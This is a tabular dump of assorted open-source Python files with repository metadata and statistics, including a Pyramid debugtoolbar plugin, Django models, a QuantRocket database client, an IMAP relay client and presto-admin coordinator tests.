] | null | null | null | src/pyramid_debugtoolbar_api_sqlalchemy/__init__.py | jvanasco/pyramid_debugtoolbar_api_sqla | 286a7e4ee32e7dd64f31813c46d59e0651534cbd | [
"MIT"
] | null | null | null | src/pyramid_debugtoolbar_api_sqlalchemy/__init__.py | jvanasco/pyramid_debugtoolbar_api_sqla | 286a7e4ee32e7dd64f31813c46d59e0651534cbd | [
"MIT"
] | null | null | null | # local
from .panels import SqlalchemyCsvDebugPanel
__VERSION__ = "0.3.1"
# ==============================================================================
def includeme(config):
"""
Pyramid hook to install this debugtoolbar plugin.
Update your ENVIRONMENT.ini file
debugtoolbar.includes = pyramid_debugtoolbar_api_sqlalchemy
"""
config.add_debugtoolbar_panel(SqlalchemyCsvDebugPanel)
config.add_route(
"debugtoolbar.api_sqlalchemy.queries.csv",
"/api-sqlalchemy/sqlalchemy-{request_id}.csv",
)
config.scan("pyramid_debugtoolbar_api_sqlalchemy.views")
config.commit()
# ==============================================================================
| 24.758621 | 80 | 0.558496 | 58 | 718 | 6.655172 | 0.637931 | 0.134715 | 0.194301 | 0.165803 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004918 | 0.150418 | 718 | 28 | 81 | 25.642857 | 0.627869 | 0.435933 | 0 | 0 | 0 | 0 | 0.337731 | 0.324538 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.1 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4066b6af1e7dfd680248198011c778dca827452b | 828 | py | Python | tests/__init__.py | ybelleguic/openbrokerapi | 9d6019dd1b6649c9d0cb0dee4b3236e0ee209dbc | [
"MIT"
] | 36 | 2017-10-06T15:16:21.000Z | 2021-07-30T16:25:59.000Z | tests/__init__.py | ybelleguic/openbrokerapi | 9d6019dd1b6649c9d0cb0dee4b3236e0ee209dbc | [
"MIT"
] | 167 | 2017-09-28T23:38:33.000Z | 2022-03-28T21:18:49.000Z | tests/__init__.py | ybelleguic/openbrokerapi | 9d6019dd1b6649c9d0cb0dee4b3236e0ee209dbc | [
"MIT"
] | 26 | 2017-09-29T13:46:38.000Z | 2022-01-05T08:49:25.000Z | try:
from gevent import monkey
monkey.patch_all()
except ImportError:
# fine if no gevent is available
pass
import base64
import logging
from unittest.mock import Mock
from flask.app import Flask
from flask_testing import TestCase
from openbrokerapi.api import BrokerCredentials
from openbrokerapi.log_util import basic_config
class BrokerTestCase(TestCase):
auth_header = 'Basic ' + base64.b64encode(b":").decode("ascii")
def create_app(self):
from openbrokerapi.api import get_blueprint
app = Flask(__name__)
self.broker = Mock()
app.register_blueprint(
get_blueprint(self.broker,
BrokerCredentials("", ""),
basic_config(level=logging.WARN)
)
)
return app
| 23.657143 | 67 | 0.641304 | 90 | 828 | 5.744444 | 0.544444 | 0.098646 | 0.077369 | 0.10058 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010187 | 0.288647 | 828 | 34 | 68 | 24.352941 | 0.867572 | 0.036232 | 0 | 0 | 0 | 0 | 0.015075 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04 | false | 0.04 | 0.4 | 0 | 0.56 | 0.12 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
406d45c5b1e3edd5a8eec1e610e28a22eb3881b2 | 2,190 | py | Python | entrepreneurial_property/models/scientificpark.py | CzechInvest/ciis | c6102598f564a717472e5e31e7eb894bba2c8104 | [
"MIT"
] | 1 | 2019-05-26T22:24:01.000Z | 2019-05-26T22:24:01.000Z | entrepreneurial_property/models/scientificpark.py | CzechInvest/ciis | c6102598f564a717472e5e31e7eb894bba2c8104 | [
"MIT"
] | 6 | 2019-01-22T14:53:43.000Z | 2020-09-22T16:20:28.000Z | entrepreneurial_property/models/scientificpark.py | CzechInvest/ciis | c6102598f564a717472e5e31e7eb894bba2c8104 | [
"MIT"
] | null | null | null | from django.db import models
from .media import Water
from .media import Electricity
from .media import Gas
from .media import WasteWater
from .media import Telecommunication
from .generic import Attachment
from .generic import Photo
from .generic import Location as EstateLocation
from cigeo.models import GenericNote as EstateNote
class ScientificParkTelecommunication(Telecommunication):
green_field = models.OneToOneField(
"ScientificPark",
on_delete=models.CASCADE
)
class ScientificParkWasteWater(WasteWater):
diameter = capacity = None
green_field = models.OneToOneField(
"ScientificPark",
on_delete=models.CASCADE
)
class ScientificParkAttachment(Attachment):
green_field = models.OneToOneField(
"ScientificPark",
on_delete=models.CASCADE
)
class ScientificParkPhoto(Photo):
green_field = models.ForeignKey(
"ScientificPark",
on_delete=models.CASCADE
)
pass
class ScientificParkTechnologicalWater(Water):
distance = None
diameter = None
capacity = None
well = None
well_capacity = None
green_field = models.OneToOneField(
"ScientificPark",
on_delete=models.CASCADE
)
class ScientificParkElectricity(Electricity):
distance = None
capacity = None
current = None
green_field = models.OneToOneField(
"ScientificPark",
on_delete=models.CASCADE
)
class ScientificParkDrinkWater(Water):
distance = None
diameter = None
capacity = None
well = None
well_capacity = None
green_field = models.OneToOneField(
"ScientificPark",
on_delete=models.CASCADE
)
class ScientificParkGas(Gas):
diameter = pressure = capacity = None
green_field = models.OneToOneField(
"ScientificPark",
on_delete=models.CASCADE
)
class ScientificParkLocation(EstateLocation):
green_field = models.OneToOneField(
"ScientificPark",
on_delete=models.CASCADE
)
class ScientificParkGenericNote(EstateNote):
green_field = models.ForeignKey(
"ScientificPark",
on_delete=models.CASCADE
)
| 20.660377 | 57 | 0.696347 | 202 | 2,190 | 7.440594 | 0.232673 | 0.066534 | 0.106454 | 0.186294 | 0.55356 | 0.55356 | 0.55356 | 0.55356 | 0.55356 | 0.472389 | 0 | 0 | 0.236073 | 2,190 | 105 | 58 | 20.857143 | 0.898386 | 0 | 0 | 0.552632 | 0 | 0 | 0.063927 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.013158 | 0.131579 | 0 | 0.631579 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
407d150b5548e5dc5c3decda923610fd51eb2141 | 1,438 | py | Python | vk_bot/mods/util/calculator.py | triangle1984/GLaDOS | 39dea7bf8043e791ef079ea1ac6616f95d5b5312 | [
"BSD-3-Clause"
] | 3 | 2019-12-12T05:48:34.000Z | 2020-12-07T19:23:41.000Z | vk_bot/mods/util/calculator.py | anar66/vk-bot | 39dea7bf8043e791ef079ea1ac6616f95d5b5312 | [
"BSD-3-Clause"
] | 1 | 2019-11-15T14:28:49.000Z | 2019-11-15T14:28:49.000Z | vk_bot/mods/util/calculator.py | triangle1984/vk-bot | 39dea7bf8043e791ef079ea1ac6616f95d5b5312 | [
"BSD-3-Clause"
] | 5 | 2019-11-20T14:20:30.000Z | 2022-02-05T10:37:01.000Z | # from vk_bot.core.modules.basicplug import BasicPlug
# import math
# class Calculator(BasicPlug):
# doc = "Калькулятор"
# command = ("калькулятор",)
# def main(self):
# try:
# x = self.text[1]; x = int(x)
# encalc = self.text[2]; encalc = encalc.lower()
# y = self.text[3]; y = int(y)
# except:
# self.sendmsg("""Пример команды: /калькулятор 2 + 2
# Использовать можно только 2 числа, и только через пробел""")
# return
# if encalc == "+" or encalc == "сложение":
# result = x + y
# elif encalc == "-" or encalc == "вычитание":
# result = x - y
# elif encalc == "*" or encalc == "умножение":
# result = x * y
# elif encalc == "**" or encalc == "степень" or encalc == "^":
# if x > 999 or y > 999:
# return
# result = x ** y
# elif encalc == "":
# try:
# x / y
# except ZeroDivisionError:
# result = "взорвать планету хочешь?"
# elif encalc == "корень":
# result = math.sqrt(x), math.sqrt(y)
# elif encalc == "синус":
# result = math.sin(x), math.sin(y)
# elif encalc == "косинус":
# result = math.cos(x), math.cos(y)
# else:
# return
# self.sendmsg(f"Ваш результат: {result}")
| 36.871795 | 74 | 0.462448 | 150 | 1,438 | 4.426667 | 0.406667 | 0.105422 | 0.099398 | 0.072289 | 0.144578 | 0.11747 | 0.11747 | 0 | 0 | 0 | 0 | 0.013652 | 0.388734 | 1,438 | 38 | 75 | 37.842105 | 0.741752 | 0.946453 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
408f7d16d7791c4eaced84288001a4eccaab5dae | 54 | py | Python | graw/__init__.py | iamsajjad/graw | 84289b9bd2e298bad72ade402ab8a87e7c37688d | [
"MIT"
] | null | null | null | graw/__init__.py | iamsajjad/graw | 84289b9bd2e298bad72ade402ab8a87e7c37688d | [
"MIT"
] | null | null | null | graw/__init__.py | iamsajjad/graw | 84289b9bd2e298bad72ade402ab8a87e7c37688d | [
"MIT"
] | null | null | null |
# version of the graw package
__version__ = "0.1.0"
| 10.8 | 29 | 0.685185 | 9 | 54 | 3.666667 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069767 | 0.203704 | 54 | 4 | 30 | 13.5 | 0.697674 | 0.5 | 0 | 0 | 0 | 0 | 0.217391 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40967bb7a1cadc5b1fb7c5cf4f834747f6a13132 | 1,026 | py | Python | Tests/test_BioSQL_mysql_connector_online.py | bioinf-mcb/biopython | 1a1f4a7ee4e0efba517d3d607c56c27e72e399cc | [
"BSD-3-Clause"
] | 2 | 2019-10-25T18:20:34.000Z | 2019-10-28T15:26:40.000Z | Tests/test_BioSQL_mysql_connector_online.py | cosign070128/biopython | 2f02e34ba76306e9c27eec9e051809bec2cece9b | [
"BSD-3-Clause"
] | 9 | 2020-05-05T00:54:23.000Z | 2020-06-09T17:10:45.000Z | Tests/test_BioSQL_mysql_connector_online.py | cosign070128/biopython | 2f02e34ba76306e9c27eec9e051809bec2cece9b | [
"BSD-3-Clause"
] | 3 | 2020-06-29T13:07:46.000Z | 2021-06-14T20:11:55.000Z | #!/usr/bin/env python
# This code is part of the Biopython distribution and governed by its
# license. Please see the LICENSE file that should have been included
# as part of this package.
"""Run BioSQL tests using MySQL."""
import unittest
# Really do want "import *" to get all the test clases:
from common_BioSQL import * # noqa: F403
from common_BioSQL_online import * # noqa: F403
# Import these explicitly to avoid flake8 F405 below:
from common_BioSQL import load_biosql_ini, check_config
from common_BioSQL_online import share_config
import requires_internet
requires_internet.check()
DBDRIVER = "mysql.connector"
DBTYPE = "mysql"
DBHOST, DBUSER, DBPASSWD, TESTDB = load_biosql_ini(DBTYPE)
# This will abort if driver not installed etc:
check_config(DBDRIVER, DBTYPE, DBHOST, DBUSER, DBPASSWD, TESTDB)
share_config(DBDRIVER, DBTYPE, DBHOST, DBUSER, DBPASSWD, TESTDB)
if __name__ == "__main__":
# Run the test cases
runner = unittest.TextTestRunner(verbosity=2)
unittest.main(testRunner=runner)
| 30.176471 | 70 | 0.770955 | 145 | 1,026 | 5.289655 | 0.565517 | 0.052151 | 0.083442 | 0.101695 | 0.19296 | 0.119948 | 0.119948 | 0 | 0 | 0 | 0 | 0.012658 | 0.153021 | 1,026 | 33 | 71 | 31.090909 | 0.869965 | 0.393762 | 0 | 0 | 0 | 0 | 0.046129 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.2 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
40a0b272172c34d79349dc117521f3988050cbff | 4,401 | py | Python | quantrocket/db.py | Jay-Jay-D/quantrocket-client | b70ac199382d22d56fad923ca2233ce027f3264a | [
"Apache-2.0"
] | null | null | null | quantrocket/db.py | Jay-Jay-D/quantrocket-client | b70ac199382d22d56fad923ca2233ce027f3264a | [
"Apache-2.0"
] | null | null | null | quantrocket/db.py | Jay-Jay-D/quantrocket-client | b70ac199382d22d56fad923ca2233ce027f3264a | [
"Apache-2.0"
] | 1 | 2019-06-12T11:34:27.000Z | 2019-06-12T11:34:27.000Z | # Copyright 2017 QuantRocket - All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from quantrocket.houston import houston
from quantrocket.cli.utils.output import json_to_cli
def list_databases(service=None):
"""
List databases.
Parameters
----------
service : str, optional
only list databases for this service
Returns
-------
list
list of databases
"""
params = {}
if service:
params["service"] = service
response = houston.get("/db/databases", params=params)
houston.raise_for_status_with_json(response)
return response.json()
def _cli_list_databases(*args, **kwargs):
return json_to_cli(list_databases, *args, **kwargs)
def download_database(database, outfile):
"""
Download a database from the db service and write to a local file.
Parameters
----------
database : str, required
the filename of the database (as returned by the list_databases)
outfile: str, required
filename to write the database to
Returns
-------
None
"""
response = houston.get("/db/databases/{0}".format(database), stream=True)
houston.raise_for_status_with_json(response)
with open(outfile, "wb") as f:
for chunk in response.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
def _cli_download_database(*args, **kwargs):
return json_to_cli(download_database, *args, **kwargs)
def s3_push_databases(service, codes=None):
"""
Push database(s) to Amazon S3.
Parameters
----------
serivce : str, required
only push databases for this service (specify 'all' to push all services)
codes: list of str, optional
only push databases identified by these codes (omit to push all databases for service)
Returns
-------
json
status message
"""
data = {}
if codes:
data["codes"] = codes
response = houston.put("/db/s3/{0}".format(service), data=data)
houston.raise_for_status_with_json(response)
return response.json()
def _cli_s3_push_databases(*args, **kwargs):
return json_to_cli(s3_push_databases, *args, **kwargs)
def s3_pull_databases(service, codes=None, force=False):
"""
Pull database(s) from Amazon S3 to the db service.
Parameters
----------
serivce : str, required
only pull databases for this service (specify 'all' to pull all services)
codes: list of str, optional
only pull databases identified by these codes (omit to pull all databases for service)
force: bool
overwrite existing database if one exists (default is to fail if one exists)
Returns
-------
json
status message
"""
params = {}
if codes:
params["codes"] = codes
if force:
params["force"] = force
response = houston.get("/db/s3/{0}".format(service), params=params)
houston.raise_for_status_with_json(response)
return response.json()
def _cli_s3_pull_databases(*args, **kwargs):
return json_to_cli(s3_pull_databases, *args, **kwargs)
def optimize_databases(service, codes=None):
"""
Optimize database file(s) to improve performance.
Parameters
----------
serivce : str, required
only optimize databases for this service (specify 'all' to optimize all services)
codes: list of str, optional
only optimize databases identified by these codes (omit to optimize all databases for service)
Returns
-------
json
status message
"""
data = {}
if codes:
data["codes"] = codes
response = houston.post("/db/optimizations/{0}".format(service), data=data)
houston.raise_for_status_with_json(response)
return response.json()
def _cli_optimize_databases(*args, **kwargs):
return json_to_cli(optimize_databases, *args, **kwargs)
| 29.536913 | 102 | 0.667803 | 566 | 4,401 | 5.075972 | 0.245583 | 0.034807 | 0.052906 | 0.036547 | 0.471284 | 0.372781 | 0.345284 | 0.233554 | 0.169857 | 0.169857 | 0 | 0.007645 | 0.227221 | 4,401 | 148 | 103 | 29.736486 | 0.837107 | 0.473983 | 0 | 0.367347 | 0 | 0 | 0.049237 | 0.01034 | 0 | 0 | 0 | 0 | 0 | 1 | 0.204082 | false | 0 | 0.040816 | 0.102041 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
40a5de5724e10b92314c5b47739791ffcddafb72 | 2,891 | py | Python | scanner_relay/run.py | breakds/brokering | fa63d5ed8057a8018bcb11aaebce689c8d18e7ba | [
"MIT"
] | null | null | null | scanner_relay/run.py | breakds/brokering | fa63d5ed8057a8018bcb11aaebce689c8d18e7ba | [
"MIT"
] | null | null | null | scanner_relay/run.py | breakds/brokering | fa63d5ed8057a8018bcb11aaebce689c8d18e7ba | [
"MIT"
] | null | null | null | #!/usr/bin/env python
from twisted.internet import endpoints
from twisted.internet import protocol
from twisted.internet import defer
from twisted.mail import imap4
from scanner_relay.pipeline import Pipeline
from scanner_relay.authentication import PassStoreFetcher, PlainPasswordFetcher
import logging
# Global configuration for the logging. Note that we set the level to
# INFO so that only DEBUG logging does not get to stdout.
FORMAT = '[%(levelname)s] (%(name)s) %(message)s'
logging.basicConfig(level=logging.INFO, format=FORMAT)
logger = logging.getLogger('run')
class ScannerRelayProtocol(imap4.IMAP4Client):
def __init__(self, username, password_fetcher, onFinish):
super().__init__()
self.pipeline = Pipeline(self, username, password_fetcher, onFinish)
def serverGreeting(self, unused_capabilities):
"""The entry point for the whole program.
It merely starts the long-running pipeline.
"""
# NOTE: Although twisted official example suggest using the capabilities
# returned here to decide what kind of authentication methods to
# register, I found it to be not true as real capabilities are only
# returned after the authentication is successful.
username = self.pipeline.username
self.registerAuthenticator(imap4.PLAINAuthenticator(username))
self.registerAuthenticator(imap4.LOGINAuthenticator(username))
self.registerAuthenticator(
imap4.CramMD5ClientAuthenticator(username))
self.pipeline.start()
class ScannerRelayProtocolFactory(protocol.ClientFactory):
def __init__(self, username, password_fetcher, onFinish):
super().__init__()
self.username = username
self.password_fetcher = password_fetcher
self.onFinish = onFinish
def buildProtocol(self, addr):
logger.info('Constructing client protocol to connect to %s:%d', addr.host, addr.port)
protocol = ScannerRelayProtocol(
self.username, self.password_fetcher, self.onFinish)
protocol.factory = self
return protocol
def clientConnectionFailed(self, connector, reason):
print('Connection failed.')
# TODO(breakds): And a more graceful (singal handling) way to terminate the program.
def clean_up(unused):
from twisted.internet import reactor
reactor.stop()
print('All workd done!')
if __name__ == '__main__':
# FIXME: Make these configurable
hostname = 'mail.breakds.org'
username = 'bds@breakds.org'.encode('ascii')
pass_store_entry = 'mail.breakds.org/bds'
port = 143
from twisted.internet import reactor
endpoint = endpoints.HostnameEndpoint(reactor, hostname, port)
factory = ScannerRelayProtocolFactory(
username, PassStoreFetcher(pass_store_entry), clean_up)
endpoint.connect(factory)
reactor.run()
| 34.416667 | 93 | 0.71982 | 323 | 2,891 | 6.321981 | 0.4613 | 0.041136 | 0.046523 | 0.061215 | 0.102351 | 0.053869 | 0.053869 | 0.053869 | 0.053869 | 0.053869 | 0 | 0.004314 | 0.198201 | 2,891 | 83 | 94 | 34.831325 | 0.876618 | 0.204428 | 0 | 0.12 | 0 | 0 | 0.081974 | 0 | 0 | 0 | 0 | 0.012048 | 0 | 1 | 0.12 | false | 0.16 | 0.18 | 0 | 0.36 | 0.04 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
40af0b1139a38fce3114910895fc7959fcc89bca | 8,649 | py | Python | tests/unit/test_coordinator.py | sopel39/presto-admin | 6e7aee3427bdbea6da2deb41b7f090ef6fdcadd9 | [
"Apache-2.0"
] | 34 | 2016-01-08T21:02:13.000Z | 2017-03-10T02:01:03.000Z | tests/unit/test_coordinator.py | sopel39/presto-admin | 6e7aee3427bdbea6da2deb41b7f090ef6fdcadd9 | [
"Apache-2.0"
] | 3 | 2016-01-27T19:11:14.000Z | 2016-12-02T21:29:53.000Z | tests/unit/test_coordinator.py | sopel39/presto-admin | 6e7aee3427bdbea6da2deb41b7f090ef6fdcadd9 | [
"Apache-2.0"
] | 5 | 2016-04-29T05:27:43.000Z | 2018-01-12T07:50:25.000Z | # -*- coding: utf-8 -*-
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Tests the coordinator module
"""
from fabric.api import env
from mock import patch
from prestoadmin import coordinator
from prestoadmin.util.exception import ConfigurationError
from tests.base_test_case import BaseTestCase
class TestCoordinator(BaseTestCase):
def test_build_all_defaults(self):
env.roledefs['coordinator'] = 'a'
env.roledefs['workers'] = ['b', 'c']
actual_default = coordinator.Coordinator().build_all_defaults()
expected = {'node.properties':
{'node.environment': 'presto',
'node.data-dir': '/var/lib/presto/data',
'node.launcher-log-file': '/var/log/presto/launcher.log',
'node.server-log-file': '/var/log/presto/server.log',
'catalog.config-dir': '/etc/presto/catalog',
'plugin.dir': '/usr/lib/presto/lib/plugin'},
'jvm.config': ['-server',
'-Xmx16G',
'-XX:-UseBiasedLocking',
'-XX:+UseG1GC',
'-XX:G1HeapRegionSize=32M',
'-XX:+ExplicitGCInvokesConcurrent',
'-XX:+HeapDumpOnOutOfMemoryError',
'-XX:+UseGCOverheadLimit',
'-XX:+ExitOnOutOfMemoryError',
'-XX:ReservedCodeCacheSize=512M',
'-DHADOOP_USER_NAME=hive'],
'config.properties': {
'coordinator': 'true',
'discovery-server.enabled': 'true',
'discovery.uri': 'http://a:8080',
'http-server.http.port': '8080',
'node-scheduler.include-coordinator': 'false',
'query.max-memory': '50GB',
'query.max-memory-per-node': '8GB'}
}
self.assertEqual(actual_default, expected)
def test_defaults_coord_is_worker(self):
env.roledefs['coordinator'] = ['a']
env.roledefs['worker'] = ['a', 'b', 'c']
actual_default = coordinator.Coordinator().build_all_defaults()
expected = {'node.properties': {
'node.environment': 'presto',
'node.data-dir': '/var/lib/presto/data',
'node.launcher-log-file': '/var/log/presto/launcher.log',
'node.server-log-file': '/var/log/presto/server.log',
'catalog.config-dir': '/etc/presto/catalog',
'plugin.dir': '/usr/lib/presto/lib/plugin'},
'jvm.config': ['-server',
'-Xmx16G',
'-XX:-UseBiasedLocking',
'-XX:+UseG1GC',
'-XX:G1HeapRegionSize=32M',
'-XX:+ExplicitGCInvokesConcurrent',
'-XX:+HeapDumpOnOutOfMemoryError',
'-XX:+UseGCOverheadLimit',
'-XX:+ExitOnOutOfMemoryError',
'-XX:ReservedCodeCacheSize=512M',
'-DHADOOP_USER_NAME=hive'],
'config.properties': {
'coordinator': 'true',
'discovery-server.enabled': 'true',
'discovery.uri': 'http://a:8080',
'http-server.http.port': '8080',
'node-scheduler.include-coordinator': 'true',
'query.max-memory': '50GB',
'query.max-memory-per-node': '8GB'}
}
self.assertEqual(actual_default, expected)
def test_validate_valid(self):
conf = {'node.properties': {},
'jvm.config': [],
'config.properties': {'coordinator': 'true',
'discovery.uri': 'http://uri'}}
self.assertEqual(conf, coordinator.Coordinator.validate(conf))
def test_validate_default(self):
env.roledefs['coordinator'] = 'localhost'
env.roledefs['workers'] = ['localhost']
conf = coordinator.Coordinator().build_all_defaults()
self.assertEqual(conf, coordinator.Coordinator.validate(conf))
def test_invalid_conf(self):
conf = {'node.propoerties': {}}
self.assertRaisesRegexp(ConfigurationError,
'Missing configuration for required file: ',
coordinator.Coordinator.validate, conf)
def test_invalid_conf_missing_coordinator(self):
conf = {'node.properties': {},
'jvm.config': [],
'config.properties': {'discovery.uri': 'http://uri'}
}
self.assertRaisesRegexp(ConfigurationError,
'Must specify coordinator=true in '
'coordinator\'s config.properties',
coordinator.Coordinator.validate, conf)
def test_invalid_conf_coordinator(self):
conf = {'node.properties': {},
'jvm.config': [],
'config.properties': {'coordinator': 'false',
'discovery.uri': 'http://uri'}
}
self.assertRaisesRegexp(ConfigurationError,
'Coordinator cannot be false in the '
'coordinator\'s config.properties',
coordinator.Coordinator.validate, conf)
@patch('prestoadmin.node.config.write_conf_to_file')
@patch('prestoadmin.node.get_presto_conf')
def test_get_conf_empty_is_default(self, get_conf_from_file_mock,
write_mock):
env.roledefs['coordinator'] = 'j'
env.roledefs['workers'] = ['K', 'L']
get_conf_from_file_mock.return_value = {}
self.assertEqual(coordinator.Coordinator().get_conf(),
coordinator.Coordinator().build_all_defaults())
@patch('prestoadmin.node.config.write_conf_to_file')
@patch('prestoadmin.node.get_presto_conf')
def test_get_conf(self, get_conf_from_file_mock, write_mock):
env.roledefs['coordinator'] = 'j'
env.roledefs['workers'] = ['K', 'L']
file_conf = {'node.properties': {'my-property': 'value',
'node.environment': 'test'}}
get_conf_from_file_mock.return_value = file_conf
expected = {'node.properties':
{'my-property': 'value',
'node.environment': 'test'},
'jvm.config': ['-server',
'-Xmx16G',
'-XX:-UseBiasedLocking',
'-XX:+UseG1GC',
'-XX:G1HeapRegionSize=32M',
'-XX:+ExplicitGCInvokesConcurrent',
'-XX:+HeapDumpOnOutOfMemoryError',
'-XX:+UseGCOverheadLimit',
'-XX:+ExitOnOutOfMemoryError',
'-XX:ReservedCodeCacheSize=512M',
'-DHADOOP_USER_NAME=hive'],
'config.properties': {
'coordinator': 'true',
'discovery-server.enabled': 'true',
'discovery.uri': 'http://j:8080',
'http-server.http.port': '8080',
'node-scheduler.include-coordinator': 'false',
'query.max-memory': '50GB',
'query.max-memory-per-node': '8GB'}
}
self.assertEqual(coordinator.Coordinator().get_conf(), expected)
| 47.78453 | 78 | 0.492889 | 710 | 8,649 | 5.890141 | 0.238028 | 0.057867 | 0.045194 | 0.04065 | 0.757771 | 0.752272 | 0.715686 | 0.65495 | 0.582975 | 0.510043 | 0 | 0.012202 | 0.384091 | 8,649 | 180 | 79 | 48.05 | 0.772855 | 0.065788 | 0 | 0.650685 | 0 | 0 | 0.317246 | 0.160918 | 0 | 0 | 0 | 0 | 0.061644 | 1 | 0.061644 | false | 0 | 0.034247 | 0 | 0.10274 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40ba39e3f0879514163c0009fb4d3d4f6df2004d | 592 | py | Python | hashtable.py | quake0day/oj | c09333d1738f8735de0d5d825db6f4b707585670 | [
"MIT"
] | null | null | null | hashtable.py | quake0day/oj | c09333d1738f8735de0d5d825db6f4b707585670 | [
"MIT"
] | null | null | null | hashtable.py | quake0day/oj | c09333d1738f8735de0d5d825db6f4b707585670 | [
"MIT"
] | null | null | null | A = ['a','b']
B = ['c','b','a']
def generatehash(A):
hashA = {}
for item in A:
if item not in hashA:
hashA[item] = 1
else:
hashA[item] += 1
return hashA
def compareHash(A, B):
lenA = len(A)
lenB = len(B)
hashA = generatehash(A)
if lenB < lenA:
return False
elif lenB == lenA:
return hashA == generatehash(B)
else:
for i in xrange(lenB-lenA+1):
newB = B[i:i+lenA]
if hashA == generatehash(newB):
return True
return False
print compareHash(A, B)
| 19.733333 | 43 | 0.496622 | 79 | 592 | 3.721519 | 0.316456 | 0.020408 | 0.068027 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008108 | 0.375 | 592 | 29 | 44 | 20.413793 | 0.786486 | 0 | 0 | 0.16 | 1 | 0 | 0.008446 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.04 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40c853daa30d56c941424e6324401a40fa450528 | 878 | py | Python | msgraph/base.py | jstacoder/python-msgraph | be9a93f4baa2d89c97a8454ab1d31b8e5fdda38e | [
"Apache-2.0"
] | 2 | 2020-09-23T18:26:22.000Z | 2021-03-10T14:12:49.000Z | msgraph/base.py | jstacoder/python-msgraph | be9a93f4baa2d89c97a8454ab1d31b8e5fdda38e | [
"Apache-2.0"
